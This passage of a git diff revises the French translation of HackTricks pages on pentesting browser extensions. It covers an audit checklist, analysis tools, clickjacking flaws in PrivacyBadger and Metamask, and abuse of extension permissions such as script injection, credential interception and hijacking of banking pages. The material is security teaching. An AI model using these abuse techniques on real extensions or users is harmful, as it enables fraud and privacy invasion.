l'**extension** (généralement un **script arrière-plan**). Un script de contenu peut utiliser les fonctions, à condition de spécifier l'onglet auquel l'envoyer. Exemple de comment envoyer un message au script de contenu dans l'onglet sélectionné : ```javascript // From https://stackoverflow.com/questions/36153999/how-to-send-a-message-between-chrome-extension-popup-and-content-script (async () => { @@ -481,18 +485,17 @@ Une considération importante est que dans les scénarios où plusieurs pages so Lors de la création de nouvelles extensions, la préférence devrait être donnée aux promesses plutôt qu'aux rappels. En ce qui concerne l'utilisation des rappels, la fonction `sendResponse()` est considérée comme valide uniquement si elle est exécutée directement dans le contexte synchrone, ou si le gestionnaire d'événements indique une opération asynchrone en retournant `true`. Si aucun des gestionnaires ne retourne `true` ou si la fonction `sendResponse()` est supprimée de la mémoire (collecte des déchets), le rappel associé à la fonction `sendMessage()` sera déclenché par défaut. - ## Chargement d'une extension dans le navigateur 1. **Téléchargez** l'extension du navigateur et décompressez-la -2. Allez à **`chrome://extensions/`** et **activez** le `Mode développeur` +2. Accédez à **`chrome://extensions/`** et **activez** le `Mode développeur` 3. Cliquez sur le bouton **`Charger l'extension non empaquetée`** -Sur **Firefox**, allez à **`about:debugging#/runtime/this-firefox`** et cliquez sur le bouton **`Charger une extension temporaire`**. +Sur **Firefox**, accédez à **`about:debugging#/runtime/this-firefox`** et cliquez sur le bouton **`Charger une extension temporaire`**. ## Obtenir le code source depuis le magasin -Le code source d'une extension Chrome peut être obtenu par divers moyens. Ci-dessous se trouvent des explications détaillées et des instructions pour chaque option. +Le code source d'une extension Chrome peut être obtenu par divers moyens. Voici des explications détaillées et des instructions pour chaque option. ### Télécharger l'extension au format ZIP via la ligne de commande @@ -511,11 +514,11 @@ unzip -d "$extension_id-source" "$extension_id.zip" ### Utiliser l'extension CRX Viewer -Une autre méthode pratique consiste à utiliser Chrome Extension Source Viewer, qui est un projet open-source. Il peut être installé depuis le [Chrome Web Store](https://chrome.google.com/webstore/detail/chrome-extension-source-v/jifpbeccnghkjeaalbbjmodiffmgedin?hl=en). Le code source du visualiseur est disponible dans son [dépôt GitHub](https://github.com/Rob--W/crxviewer). +Une autre méthode pratique consiste à utiliser Chrome Extension Source Viewer, qui est un projet open source. Il peut être installé depuis le [Chrome Web Store](https://chrome.google.com/webstore/detail/chrome-extension-source-v/jifpbeccnghkjeaalbbjmodiffmgedin?hl=en). Le code source du visualiseur est disponible dans son [dépôt GitHub](https://github.com/Rob--W/crxviewer). ### Voir le code source de l'extension installée localement -Les extensions Chrome installées localement peuvent également être inspectées. Voici comment faire : +Les extensions Chrome installées localement peuvent également être inspectées. Voici comment procéder : 1. Accédez au répertoire de profil local de Chrome en visitant `chrome://version/` et en localisant le champ "Chemin du profil". 2. Naviguez jusqu'au sous-dossier `Extensions/` dans le répertoire du profil. @@ -523,22 +526,16 @@ Les extensions Chrome installées localement peuvent également être inspectée Pour identifier les extensions, vous pouvez faire correspondre leurs ID à leurs noms : -- Activez le mode développeur sur la page `about:extensions` pour voir les ID de chaque extension. -- À l'intérieur du dossier de chaque extension, le fichier `manifest.json` contient un champ `name` lisible, vous aidant à identifier l'extension. +* Activez le mode développeur sur la page `about:extensions` pour voir les ID de chaque extension. +* Dans le dossier de chaque extension, le fichier `manifest.json` contient un champ `name` lisible, vous aidant à identifier l'extension. ### Utiliser un archiveur de fichiers ou un décompresseur -Allez sur le Chrome Web Store et téléchargez l'extension. Le fichier aura une extension `.crx`. -Changez l'extension du fichier de `.crx` à `.zip`. -Utilisez n'importe quel archiveur de fichiers (comme WinRAR, 7-Zip, etc.) pour extraire le contenu du fichier ZIP. +Allez sur le Chrome Web Store et téléchargez l'extension. Le fichier aura une extension `.crx`. Changez l'extension du fichier de `.crx` à `.zip`. Utilisez un archiveur de fichiers (comme WinRAR, 7-Zip, etc.) pour extraire le contenu du fichier ZIP. ### Utiliser le mode développeur dans Chrome -Ouvrez Chrome et allez à `chrome://extensions/`. -Activez le "Mode développeur" en haut à droite. -Cliquez sur "Charger l'extension non empaquetée...". -Naviguez jusqu'au répertoire de votre extension. -Cela ne télécharge pas le code source, mais c'est utile pour visualiser et modifier le code d'une extension déjà téléchargée ou développée. +Ouvrez Chrome et allez à `chrome://extensions/`. Activez le "Mode développeur" en haut à droite. Cliquez sur "Charger l'extension non empaquetée...". Naviguez jusqu'au répertoire de votre extension. Cela ne télécharge pas le code source, mais c'est utile pour visualiser et modifier le code d'une extension déjà téléchargée ou développée. ## Liste de vérification d'audit de sécurité @@ -551,12 +548,12 @@ Bien que les extensions de navigateur aient une **surface d'attaque limitée**, * [ ] Si une **URL vulnérable aux attaques XSS ou à la prise de contrôle** est mentionnée ici, un attaquant pourra **envoyer des messages directement aux scripts d'arrière-plan**. Une faille très puissante. * [ ] **Limitez** autant que possible les **`web_accessible_resources`**, même vide si possible. * [ ] Si **`web_accessible_resources`** n'est pas vide, vérifiez le [**ClickJacking**](browext-clickjacking.md) -* [ ] Si une **communication** se produit de l'**extension** à la **page web**, [**vérifiez les vulnérabilités XSS**](browext-xss-example.md) causées par la communication. -* [ ] Si des messages Post sont utilisés, vérifiez les [**vulnérabilités des messages Post**](../postmessage-vulnerabilities/). +* [ ] Si une **communication** a lieu de l'**extension** à la **page web**, [**vérifiez les vulnérabilités XSS**](browext-xss-example.md) causées par la communication. +* [ ] Si des messages Post sont utilisés, vérifiez les [**vulnérabilités des messages Post**](../postmessage-vulnerabilities/)**.** * [ ] Si le **Script de contenu accède aux détails du DOM**, vérifiez qu'ils n'introduisent pas de XSS s'ils sont **modifiés** par le web -* [ ] Mettez l'accent particulièrement si cette communication est également impliquée dans la **communication Script de contenu -> Script d'arrière-plan** -* [ ] Les **informations sensibles ne doivent pas être stockées** dans le code de l'extension de navigateur -* [ ] Les **informations sensibles ne doivent pas être stockées** dans la mémoire de l'extension de navigateur +* [ ] Mettez l'accent particulier si cette communication est également impliquée dans la **communication Script de contenu -> Script d'arrière-plan** +* Les **informations sensibles ne doivent pas être stockées** dans le code de l'extension de navigateur +* Les **informations sensibles ne doivent pas être stockées** dans la mémoire de l'extension de navigateur ## Outils @@ -564,26 +561,26 @@ Bien que les extensions de navigateur aient une **surface d'attaque limitée**, * Récupère n'importe quelle extension Chrome à partir d'un lien fourni par le Chrome Web Store. * **Visionneur de manifest.json** : affiche simplement une version JSON mise en forme du manifeste de l'extension. -* **Analyse d'empreinte digitale** : Détection des [web\_accessible\_resources](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources) et génération automatique de JavaScript de fingerprinting d'extension Chrome. +* **Analyse d'empreinte digitale** : Détection des [web\_accessible\_resources](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources) et génération automatique de JavaScript de l'empreinte digitale de l'extension Chrome. * **Analyse potentielle de Clickjacking** : Détection des pages HTML d'extension avec la directive [web\_accessible\_resources](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources) définie. Elles sont potentiellement vulnérables au clickjacking en fonction de l'objectif des pages. * **Visionneur d'avertissement(s) de permission** : qui affiche une liste de tous les avertissements de permission Chrome qui s'afficheront lorsqu'un utilisateur tentera d'installer l'extension. * **Fonction(s) dangereuse(s)** : montre l'emplacement des fonctions dangereuses qui pourraient potentiellement être exploitées par un attaquant (par exemple, des fonctions telles que innerHTML, chrome.tabs.executeScript). * **Point(s) d'entrée** : montre où l'extension prend en compte les entrées utilisateur/externes. Cela est utile pour comprendre la surface d'une extension et rechercher des points potentiels pour envoyer des données malveillantes à l'extension. * Les scanners de Fonction(s) dangereuse(s) et de Point(s) d'entrée ont les éléments suivants pour leurs alertes générées : -* Extrait de code pertinent et ligne ayant causé l'alerte. +* Extrait de code pertinent et ligne ayant provoqué l'alerte. * Description du problème. * Un bouton "Voir le fichier" pour voir le fichier source complet contenant le code. * Le chemin du fichier alerté. * L'URI complet de l'extension Chrome du fichier alerté. * Le type de fichier, tel qu'un script de page d'arrière-plan, un script de contenu, une action de navigateur, etc. -* Si la ligne vulnérable est dans un fichier JavaScript, les chemins de toutes les pages où elle est incluse ainsi que le statut de [web\_accessible\_resource](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources) de ces pages. +* Si la ligne vulnérable est dans un fichier JavaScript, les chemins de toutes les pages où il est inclus ainsi que le statut de [web\_accessible\_resource](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources) de ces pages. * **Analyseur de stratégie de sécurité du contenu (CSP) et vérificateur de contournement** : Cela mettra en évidence les faiblesses de la CSP de votre extension et illuminera également les éventuelles façons de contourner votre CSP en raison des CDN autorisés, etc. * **Bibliothèques vulnérables connues** : Cela utilise [Retire.js](https://retirejs.github.io/retire.js/) pour vérifier toute utilisation de bibliothèques JavaScript connues comme vulnérables. * Télécharger l'extension et les versions formatées. * Télécharger l'extension originale. * Télécharger une version embelli de l'extension (HTML et JavaScript automatiquement mis en forme). -* Mise en cache automatique des résultats d'analyse, lancer une analyse d'extension prendra beaucoup de temps la première fois que vous l'exécutez. Cependant, la deuxième fois, en supposant que l'extension n'ait pas été mise à jour, sera presque instantanée en raison de la mise en cache des résultats. -* URLs de rapport liables, permettant de facilement partager un rapport d'extension généré par tarnish. +* Mise en cache automatique des résultats de l'analyse, l'exécution d'une analyse d'extension prendra beaucoup de temps la première fois que vous l'exécutez. Cependant, la deuxième fois, en supposant que l'extension n'ait pas été mise à jour, sera presque instantanée en raison de la mise en cache des résultats. +* URLs de rapport liables, permettant de facilement partager un rapport d'extension généré par tarnish avec quelqu'un d'autre. ### [Neto](https://github.com/elevenpaths/neto) @@ -606,12 +603,11 @@ Le projet Neto est un package Python 3 conçu pour analyser et dévoiler les fon Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! -Autres façons de soutenir HackTricks : - -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! +D'autres façons de soutenir HackTricks: +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez** 💬 le groupe Discord](https://discord.gg/hRep4RUj7f) ou le [groupe Telegram](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez** le 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. diff --git a/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md b/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md index 832b5f70a..0cf66890f 100644 --- a/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md +++ b/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md @@ -9,8 +9,8 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. @@ -29,11 +29,11 @@ Les extensions contiennent le fichier **`manifest.json`** et ce fichier JSON a u Les **`web_accessible_resources`** dans une extension de navigateur ne sont pas seulement accessibles via le web ; ils fonctionnent également avec les privilèges inhérents de l'extension. Cela signifie qu'ils ont la capacité de : -- Changer l'état de l'extension -- Charger des ressources supplémentaires -- Interagir avec le navigateur dans une certaine mesure +* Changer l'état de l'extension +* Charger des ressources supplémentaires +* Interagir avec le navigateur dans une certaine mesure -Cependant, cette fonctionnalité présente un risque de sécurité. Si une ressource dans **`web_accessible_resources`** a une fonctionnalité significative, un attaquant pourrait potentiellement intégrer cette ressource dans une page web externe. Les utilisateurs qui visitent cette page sans méfiance pourraient activer involontairement cette ressource intégrée. Une telle activation pourrait entraîner des conséquences non intentionnelles, en fonction des autorisations et des capacités des ressources de l'extension. +Cependant, cette fonctionnalité présente un risque de sécurité. Si une ressource dans **`web_accessible_resources`** a une fonctionnalité significative, un attaquant pourrait potentiellement intégrer cette ressource dans une page web externe. Les utilisateurs non méfiants visitant cette page pourraient activer involontairement cette ressource intégrée. Une telle activation pourrait entraîner des conséquences non intentionnelles, en fonction des autorisations et des capacités des ressources de l'extension. ## Exemple de PrivacyBadger @@ -44,7 +44,7 @@ Dans l'extension PrivacyBadger, une vulnérabilité a été identifiée concerna "icons/*" ] ``` -Cette configuration a entraîné un problème de sécurité potentiel. Plus précisément, le fichier `skin/popup.html`, qui est affiché lors de l'interaction avec l'icône PrivacyBadger dans le navigateur, pourrait être intégré dans un `iframe`. Cette intégration pourrait être exploitée pour tromper les utilisateurs en les incitant à cliquer involontairement sur "Désactiver PrivacyBadger pour ce site Web". Une telle action compromettrait la vie privée de l'utilisateur en désactivant la protection de PrivacyBadger et en exposant potentiellement l'utilisateur à un suivi accru. Une démonstration visuelle de cette exploitation peut être visionnée dans un exemple vidéo de ClickJacking fourni à l'adresse [**https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm**](https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm). +Cette configuration a conduit à un problème de sécurité potentiel. Plus précisément, le fichier `skin/popup.html`, qui est affiché lors de l'interaction avec l'icône PrivacyBadger dans le navigateur, pourrait être intégré dans un `iframe`. Cette intégration pourrait être exploitée pour tromper les utilisateurs en les incitant à cliquer involontairement sur "Désactiver PrivacyBadger pour ce site Web". Une telle action compromettrait la vie privée de l'utilisateur en désactivant la protection de PrivacyBadger et en exposant potentiellement l'utilisateur à un suivi accru. Une démonstration visuelle de cette exploitation peut être visionnée dans un exemple vidéo de ClickJacking fourni à l'adresse [**https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm**](https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm). Pour remédier à cette vulnérabilité, une solution simple a été mise en œuvre : la suppression de `/skin/*` de la liste des `web_accessible_resources`. Ce changement a efficacement atténué le risque en veillant à ce que le contenu du répertoire `skin/` ne puisse pas être accédé ou manipulé via des ressources accessibles sur le Web. @@ -93,9 +93,9 @@ click me Un [**article de blog sur une attaque par ClickJacking dans Metamask peut être trouvé ici**](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9). Dans ce cas, Metamask a corrigé la vulnérabilité en vérifiant que le protocole utilisé pour y accéder était **`https:`** ou **`http:`** (et non **`chrome:`** par exemple) : -
+
-**Un autre ClickJacking corrigé** dans l'extension Metamask était que les utilisateurs pouvaient **Cliquer pour autoriser** lorsqu'une page était suspectée d'être une tentative de phishing en raison de `“web_accessible_resources”: [“inpage.js”, “phishing.html”]`. Comme cette page était vulnérable au Clickjacking, un attaquant pouvait en abuser en montrant quelque chose de normal pour inciter la victime à cliquer pour l'autoriser sans s'en rendre compte, puis revenir à la page de phishing qui serait autorisée. +**Un autre ClickJacking corrigé** dans l'extension Metamask était que les utilisateurs pouvaient **Cliquer pour autoriser** lorsqu'une page était suspectée d'être un site de phishing en raison de `“web_accessible_resources”: [“inpage.js”, “phishing.html”]`. Comme cette page était vulnérable au Clickjacking, un attaquant pouvait l'exploiter en montrant quelque chose de normal pour inciter la victime à cliquer pour l'autoriser sans s'en rendre compte, puis revenir à la page de phishing qui serait autorisée. ## Exemple Steam Inventory Helper @@ -116,10 +116,10 @@ Consultez la page suivante pour voir comment une **XSS** dans une extension de n Autres façons de soutenir HackTricks : -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. diff --git a/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md b/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md index 66fee345d..f1af68f35 100644 --- a/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md +++ b/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md @@ -4,12 +4,12 @@ Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! -Autres façons de soutenir HackTricks : +Autres façons de soutenir HackTricks: -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. @@ -20,19 +20,19 @@ Autres façons de soutenir HackTricks : Les autorisations sont définies dans le fichier **`manifest.json`** de l'extension en utilisant la propriété **`permissions`** et permettent d'accéder à presque tout ce à quoi un navigateur peut accéder (cookies ou stockage physique) : -Le manifeste précédent déclare que l'extension nécessite l'autorisation `storage`. Cela signifie qu'elle peut utiliser [l'API de stockage](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) pour stocker ses données de manière persistante. Contrairement aux cookies ou aux API `localStorage` qui donnent aux utilisateurs un certain niveau de contrôle, **le stockage de l'extension ne peut normalement être effacé que par la désinstallation de l'extension**. +Le manifeste précédent déclare que l'extension nécessite l'autorisation `storage`. Cela signifie qu'elle peut utiliser [l'API de stockage](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) pour stocker ses données de manière persistante. Contrairement aux cookies ou aux API `localStorage` qui donnent aux utilisateurs un certain niveau de contrôle, **le stockage de l'extension ne peut normalement être effacé que en désinstallant l'extension**. Une extension demandera les autorisations indiquées dans son fichier **`manifest.json`** et après l'installation de l'extension, vous pouvez **toujours vérifier ses autorisations dans votre navigateur**, comme le montre cette image : -
+
-Vous pouvez trouver la [**liste complète des autorisations qu'une extension de navigateur Chromium peut demander ici**](https://developer.chrome.com/docs/extensions/develop/concepts/declare-permissions#permissions) et une [**liste complète pour les extensions Firefox ici**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#api_permissions)**.** +Vous pouvez trouver la [**liste complète des autorisations qu'une extension de navigateur Chromium peut demander ici**](https://developer.chrome.com/docs/extensions/develop/concepts/declare-permissions#permissions) et une [**liste complète pour les extensions Firefox ici**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#api\_permissions)**.** ### `host_permissions` Le paramètre facultatif mais puissant **`host_permissions`** indique avec quels hôtes l'extension va pouvoir interagir via des APIs telles que [`cookies`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/cookies), [`webRequest`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/webRequest) et [`tabs`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs). -Les `host_permissions` suivants permettent essentiellement à tous les sites web : +Les `host_permissions` suivants permettent essentiellement à chaque site web : ```json "host_permissions": [ "*://*/*" @@ -49,23 +49,23 @@ Les `host_permissions` suivants permettent essentiellement à tous les sites web "" ] ``` -Voici les hôtes auxquels l'extension du navigateur peut accéder librement. Cela est dû au fait que lorsqu'une extension de navigateur appelle **`fetch("https://gmail.com/")`**, elle n'est pas restreinte par CORS. +Voici les hôtes auxquels l'extension de navigateur peut accéder librement. Cela est dû au fait que lorsqu'une extension de navigateur appelle **`fetch("https://gmail.com/")`**, elle n'est pas restreinte par CORS. ## Abus des `permissions` et `host_permissions` ### Onglets -De plus, les **`host_permissions`** débloquent également les fonctionnalités avancées de l'API des [**onglets**](https://developer.mozilla.org/fr/docs/Mozilla/Add-ons/WebExtensions/API/tabs). Ils permettent à l'extension d'appeler [tabs.query()](https://developer.mozilla.org/fr/docs/Mozilla/Add-ons/WebExtensions/API/tabs/query) et non seulement d'obtenir une **liste des onglets du navigateur de l'utilisateur**, mais aussi de savoir quelle **page web (c'est-à-dire l'adresse et le titre) est chargée**. +De plus, les **`host_permissions`** débloquent également les fonctionnalités "avancées" de l'API [**tabs**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs). Elles permettent à l'extension d'appeler [tabs.query()](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/query) et non seulement d'obtenir une **liste des onglets du navigateur de l'utilisateur**, mais aussi de savoir quelle **page web (c'est-à-dire l'adresse et le titre) est chargée**. {% hint style="danger" %} -De plus, des écouteurs comme [**tabs.onUpdated**](https://developer.mozilla.org/fr/docs/Mozilla/Add-ons/WebExtensions/API/tabs/onUpdated) **deviennent également beaucoup plus utiles**. Ils seront notifiés chaque fois qu'une nouvelle page se charge dans un onglet. +Non seulement cela, mais des écouteurs comme [**tabs.onUpdated**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/onUpdated) **deviennent également beaucoup plus utiles**. Ils seront notifiés chaque fois qu'une nouvelle page se charge dans un onglet. {% endhint %} ### Exécution de scripts de contenu -Les scripts de contenu ne sont pas nécessairement écrits statiquement dans le manifeste de l'extension. Avec des **`host_permissions`** suffisantes, les **extensions peuvent également les charger dynamiquement en appelant** [**tabs.executeScript()**](https://developer.mozilla.org/fr/docs/Mozilla/Add-ons/WebExtensions/API/tabs/executeScript) **ou** [**scripting.executeScript()**](https://developer.mozilla.org/fr/docs/Mozilla/Add-ons/WebExtensions/API/scripting/executeScript). +Les scripts de contenu ne sont pas nécessairement écrits statiquement dans le manifeste de l'extension. Avec des **`host_permissions`** suffisantes, les **extensions peuvent également les charger dynamiquement en appelant** [**tabs.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/executeScript) **ou** [**scripting.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/scripting/executeScript). -Les deux API permettent d'exécuter non seulement des fichiers contenus dans les extensions en tant que scripts de contenu, mais aussi du **code arbitraire**. Le premier permet de passer du code JavaScript en tant que chaîne, tandis que le second attend une fonction JavaScript moins sujette aux vulnérabilités d'injection. Cependant, les deux API causeront des ravages s'ils sont mal utilisés. +Les deux API permettent d'exécuter non seulement des fichiers contenus dans les extensions en tant que scripts de contenu, mais aussi du **code arbitraire**. La première permet de passer du code JavaScript en tant que chaîne, tandis que la seconde attend une fonction JavaScript moins sujette aux vulnérabilités d'injection. Cependant, les deux API causeront des ravages en cas de mauvaise utilisation. {% hint style="danger" %} En plus des capacités ci-dessus, les scripts de contenu pourraient par exemple **intercepter des identifiants** au moment où ils sont saisis dans les pages web. Une autre façon classique de les abuser est d'**injecter de la publicité** sur chaque site web. Ajouter des **messages d'arnaque** pour abuser de la crédibilité des sites d'actualités est également possible. Enfin, ils pourraient **manipuler les sites web bancaires** pour détourner les transferts d'argent. @@ -73,52 +73,51 @@ En plus des capacités ci-dessus, les scripts de contenu pourraient par exemple ### Privilèges implicites -Certains privilèges d'extension **n'ont pas besoin d'être explicitement déclarés**. Un exemple est l'API des [onglets](https://developer.mozilla.org/fr/docs/Mozilla/Add-ons/WebExtensions/API/tabs) : sa fonctionnalité de base est accessible sans aucun privilège. Toute extension peut être notifiée lorsque vous ouvrez et fermez des onglets, elle ne saura simplement pas avec quel site web ces onglets correspondent. +Certains privilèges d'extension **n'ont pas besoin d'être explicitement déclarés**. Un exemple est l'API [tabs](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) : sa fonctionnalité de base est accessible sans aucun privilège. Toute extension peut être notifiée lorsque vous ouvrez et fermez des onglets, elle ne saura simplement pas avec quel site web ces onglets correspondent. -Cela semble trop inoffensif ? L'API [tabs.create()](https://developer.mozilla.org/fr/docs/Mozilla/Add-ons/WebExtensions/API/tabs/create) l'est un peu moins. Elle peut être utilisée pour **créer un nouvel onglet**, essentiellement la même chose que [window.open()](https://developer.mozilla.org/fr/docs/Web/API/Window/open) qui peut être appelé par n'importe quel site web. Cependant, alors que `window.open()` est soumis au **bloqueur de pop-up, `tabs.create()` ne l'est pas**. +Cela semble trop inoffensif ? L'API [tabs.create()](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/create) l'est un peu moins. Elle peut être utilisée pour **créer un nouvel onglet**, essentiellement la même chose que [window.open()](https://developer.mozilla.org/en-US/docs/Web/API/Window/open) qui peut être appelé par n'importe quel site web. Cependant, alors que `window.open()` est soumis au **bloqueur de pop-up, `tabs.create()` ne l'est pas**. {% hint style="danger" %} Une extension peut créer autant d'onglets qu'elle le souhaite, à tout moment. {% endhint %} -Si vous examinez les paramètres possibles de `tabs.create()`, vous remarquerez également que ses capacités vont bien au-delà de ce que `window.open()` est autorisé à contrôler. Et bien que Firefox n'autorise pas l'utilisation d'URI `data:` avec cette API, Chrome n'a pas cette protection. **L'utilisation de ces URI au niveau supérieur a été** [**interdite en raison de leur utilisation abusive pour le phishing**](https://bugzilla.mozilla.org/show_bug.cgi?id=1331351)**.** +Si vous examinez les paramètres possibles de `tabs.create()`, vous remarquerez également que ses capacités vont bien au-delà de ce que `window.open()` est autorisé à contrôler. Et bien que Firefox n'autorise pas l'utilisation d'URI `data:` avec cette API, Chrome n'a pas cette protection. **L'utilisation de ces URI en haut niveau a été** [**interdite en raison de leur utilisation abusive pour le phishing**](https://bugzilla.mozilla.org/show\_bug.cgi?id=1331351)**.** -[**tabs.update()**](https://developer.mozilla.org/fr/docs/Mozilla/Add-ons/WebExtensions/API/tabs/update) est très similaire à `tabs.create()` mais **modifiera un onglet existant**. Ainsi, une extension malveillante peut par exemple charger arbitrairement une page publicitaire dans l'un de vos onglets, et elle peut également activer l'onglet correspondant. +[**tabs.update()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/update) est très similaire à `tabs.create()` mais **modifiera un onglet existant**. Ainsi, une extension malveillante peut par exemple charger arbitrairement une page 